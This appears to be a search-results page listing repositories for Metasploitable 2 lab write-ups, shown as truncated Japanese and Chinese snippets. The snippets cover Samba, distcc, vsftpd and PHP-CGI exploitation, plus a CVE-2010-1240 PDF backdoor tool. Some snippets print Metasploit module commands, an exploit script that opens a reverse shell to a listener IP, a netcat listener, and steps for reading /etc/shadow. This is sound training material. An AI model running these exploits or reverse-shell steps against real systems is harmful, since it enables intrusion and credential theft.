58 matches found
Exploiting-Samba-on-Metasploitable-2
Metasploitable-2でのSambaの悪用 私の目標は、Kali Linux マシンから metasploit を使用して、よく知られた samba の脆弱性 CVE-2007-2447 を悪用することでした。これは、リバースシェルを使用して Metasploitable 2 マシンに侵入し、ルートフォルダにアクセスするために行われます。このフォルダにアクセスすると、/etc/shadow フォルダが明らかになり、侵害の証拠となります。 1. Nmap スキャンとターゲット列挙 まず、各ホストマシンの IP アドレスを特定します。 Metasploitable 2:...
Vulnerable-Lab-Exploitation
Vulnerable-Lab-Exploitation 仮想セキュリティラボのセットアップ、ネットワーク偵察、およびCVE-2012-1823のエクスプロイトを実演するハンズオンプロジェクトです。 脆弱性ラボのセットアップとPHP CGIエクスプロイト CVE-2012-1823 🎯 プロジェクト概要 このプロジェクトは、包括的なペネトレーションテストを実施するための隔離された仮想ラボ環境の構築を実演するものです。旧式のLinuxサーバーに対する現実世界の攻撃をシミュレートし、ネットワーク発見から不正なリモートアクセスの獲得までを実行しました。 🛠️ 使用ツールと技術 ハイパーバイザー:...
Vulnerability-Assessment-Exploitation-Lab
Vulnerability-Assessment-Exploitation-Lab Metasploitable 2 ペネトレーションテストラボ エグゼクティブサマリー このプロジェクトは、Metasploitable 2 Linux 環境に対する、フルライフサイクルにわたるペネトレーションテストの成功を文書化したものです。この評価はペネトレーションテスト実行標準 PTES...
SystemVulnerabilityChecklist_Project4_Decodelabs
🔐 系统漏洞检查清单 针对一台易受攻击的 Linux 目标机器开展的安全评估与网络加固演练。该项目专注于识别关键漏洞、评估其影响，并使用 IPTables 实施基于防火墙的缓解措施。 📌 项目概述 项目名称： 渗透测试与网络安全加固 角色： 网络安全分析师（DecodeLabs 实习） 目标 IP： 192.168.56.128 日期： 2026 年 8 月 1 日 本项目展示了完整的渗透测试工作流程，包括： 主机发现 服务枚举 漏洞评估 安全分析 防火墙加固 修复后验证 🎯 目标 识别暴露的网络服务。 检测已知漏洞。 分析每项发现的安全影响。 使用 IPTables 缩小攻击面。...
CVE-2010-1240
CVE-2010-1240 - PDFへのバックドア埋め込み ⚠️ 教育目的および許可されたセキュリティ研究目的のみに使用してください 説明 WindowsおよびMac OS X上のAdobe ReaderおよびAcrobat 9.3.3より前の9.x、8.2.3より前の8.xは、Launch...
Metasploitable-2-Distcc-Exploit-via-Kali-Linux-CVE-2004-2687
🎬 このYouTubeビデオ 1️⃣ ターゲットの特定 Nmap root@kitploit: nmap -sV -p 3632 192.168.56.102 ✅ 結果は次のようになります: 3632/tcp open distccd v1 👉 つまり、distccが開いており、エクスプロイト可能です。 2️⃣ Metasploitを起動 root@kitploit: msfconsole 3️⃣ Distccエクスプロイトを選択 root@kitploit: use exploit/unix/misc/distccexec 4️⃣ 設定を確認 root@kitploit:...
CTF---CVE-2011-2523
场景：夺旗赛 - CVE-2011-2523 从存在漏洞的 Metasploitable 2 服务器中获取解密后的 /etc/shadow 和 /etc/passwd 文件。 环境设置 步骤 1：下载并解压虚拟机 对于本次 CTF，我们使用 VMware Workstation Pro 运行两台虚拟机。我们以 Kali Linux 作为攻击机，以 Metasploitable 2 作为存在漏洞的机器。 下载并安装 VMware Workstation：...
wazuh-home-soc
ホームSOC: Wazuh + Suricata を用いた脅威検知ラボ あえて脆弱性のあるターゲットに対して実際の攻撃手法を検知するために構築された、自己ホスト型セキュリティ運用センター（SOC）ラボ。Wazuh を SIEM、Suricata をネットワークベースの IDS センサーとして使用。ツールの導入だけでなく、検知エンジニアリングのスキルを示すために設計されている。 概要 現代の SOC 活動は、「SIEM...
network-security-lab
🔬 ネットワークセキュリティラボ 実際の攻撃・防御シナリオをシミュレートする制御済み仮想環境 📋 概要 このラボは、完全に隔離された仮想環境において、実際のペネトレーションテストと防御強化演習をシミュレートします。偵察から悪用に至るまでの攻撃セキュリティライフサイクルと、各リスクを軽減する防御制御を実証します。 主な成果: 既知のバックドアを悪用し、資格情報や特別なツールを使用せずに、60秒未満で対象マシンの完全なrootアクセスを達成しました。 🏗 ラボ環境 コンポーネント| 詳細 ---|--- ハイパーバイザー| VMware Workstation ネットワーク| Host-On...
metasploitable-pentest-report
Metasploitable 2 — ペネトレーションテストレポート 免責事項: このペネトレーションテストは、教育目的のみで、プライベートで隔離されたVMwareラボ環境において実施されました。実際のシステムには一切アクセスしていません。すべてのIPアドレスは匿名化されています。 概要 フィールド| 詳細 ---|--- テスター| Prafullya Shandilya 標的| Metasploitable 2（意図的に脆弱なVM） 攻撃者| Kali Linux ネットワーク| 隔離されたVMwareホストオンリーラボ 日付| 2026年5月9日 ツール| Nmap...
metasploit-lab-report
Metasploit 渗透测试实验室报告 📋 概述 本仓库包含一份全面的渗透测试实验室报告 ，演示了使用 Metasploit 框架利用 Metasploitable 2 中已知漏洞的过程。这是一份教育资源，记录了在受控实验室环境中进行正确渗透测试的方法论。 ⚠️ 免责声明 使用本内容前请阅读 仅限授权实验室测试 目标系统： Metasploitable 2（故意存在漏洞的训练虚拟机） 目的： 仅用于教育和培训目的 未经授权访问计算机系统是非法的 遵守所有适用的法律、法规和道德准则 在测试任何系统之前获得书面授权 作者对滥用或损害不承担任何责任 完整法律免责声明请参阅...
metasploitable-penetration-testing-lab
🔐 Metasploitable 2 ペネトレーションテストラボ 隔離された仮想環境内での脆弱性発見、悪用、侵害後確認、防御的緩和策を実証する、管理されたサイバーセキュリティラボプロジェクト。 📌 プロジェクト概要 このプロジェクトは、管理された仮想ラボで実施される実際のペネトレーションテストをシミュレートします。 目的は、脆弱なシステム上の公開サービスを特定し、重大な脆弱性を検出し、管理された悪用を実行し、システム侵害を確認し、緩和戦略を実装することでした。 このプロジェクトは、攻撃的および防御的なサイバーセキュリティ能力の両方を示しています。 🏗 ラボ環境 ホストシステム:...
CVE-2007-2447
CVE-2007-2447 スクリプトをテストするには、こちらで入手可能な仮想マシン「metasploitable 2」をお勧めします。 エクスプロイトが成功すると、スクリプトはリバースシェルを表示します。接続するには、以下のようにnetcatセッションを開いてください： root@kitploit: netcat -lnvp 目次 例 要件 ペイロード 例 root@kitploit: py CVE-2007-2447.py 192.168.1.38 1337 192.168.1.14 netcat側： root@kitploit: netcat -lnvp 1337 結果：...
metasploitable2-vsftpd-exploitation
Metasploitable 2 - vsFTPd 2.3.4 エクスプロイトラボ 概要 このプロジェクトは、意図的に脆弱性を持たせたマシン Metasploitable 2 に対するペネトレーションテストのワークフローを示しています。 目的は、FTPサービスの既知の脆弱性を特定、悪用、分析し、最終的に rootレベルのアクセス を達成し、セキュリティへの影響を評価することでした。 ラボのセットアップ 攻撃マシン: Ubuntu 仮想マシン 対象マシン: Metasploitable 2 仮想マシン ネットワーク構成: ホストオンリーネットワーク 192.168.56.0/24...
PHP-CGI-Argument-Injection-Exploit
🎬 このYouTube動画 1️⃣ ターゲットの確認 KaliからMetasploitableのIPを特定します: root@kitploit: ip a 例: Kali: 192.168.56.101 Metasploitable2: 192.168.56.102 ポートとサービスを確認します: root@kitploit: nmap -p 80 192.168.56.102 ブラウザでも確認できます: http://192.168.56.102/ 2️⃣ Metasploitを起動 root@kitploit: msfconsole 3️⃣ PHP CGIエクスプロイトモジュールの選択...
Full-Attack-Lifecycle-Simulation-on-Metasploitable
このリポジトリには README がありません。...
CVE-2007-2447-Exploitation-SIEM-Detection-Lab
🛡️ CVE-2007-2447 漏洞利用与 SIEM 检测实验室（Wazuh + MITRE ATT&CK） B.Tech 项目（BTP）| IIIT Pune 基于： 《为检测与监控设计和实现有效的网络安全家庭实验室》 — ICCCNT 2023，IIT Delhi 一个基于单台机器、使用免费开源工具构建的功能完整的网络安全家庭实验室。该实验室模拟真实世界的攻击生命周期——侦察 → 利用 → 检测——并演示 SIEM 如何实时检测攻击并将其映射到 MITRE ATT&CK 框架。 📐 实验室架构 root@kitploit:...
SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2
SMB-PenTest-Exploiting-CVE-2007-2447-on-Metasploitable-2 RedTeam-SMB-PenTest | ---|--- 描述 本项目记录了我在UMGC的CMIT 386课程中进行的渗透测试工作。它重点介绍了如何从Kali Linux攻击虚拟机使用Metasploit，利用Metasploitable 2上的Samba SMB usermapscript漏洞（CVE-2007-2447）。此概念验证展示了旧版漏洞如何导致系统完全受损、凭据窃取和数据外泄。 漏洞概述 该漏洞位于445端口上的Samba服务中，username...
Metasploitable2-VAPT-Report
VAPTレポート: Metasploitable 2 システム侵害 プロジェクト概要 このリポジトリには、Metasploitable 2 の脆弱な環境に対する包括的な脆弱性評価・ペネトレーションテスト VAPT レポートが含まれています。本評価は、標準的な5フェーズの倫理的ハッキング手法に従い、初期偵察から未認証でのrootアクセス、攻撃後の永続化まで、完全な「キルチェーン」を実証しています。 ターゲットプロファイル ターゲットOS: Linux Metasploitable 2 主要な攻撃ベクター: vsftpd 2.3.4 バックドア CVE-2011-2523 リスク深刻度:...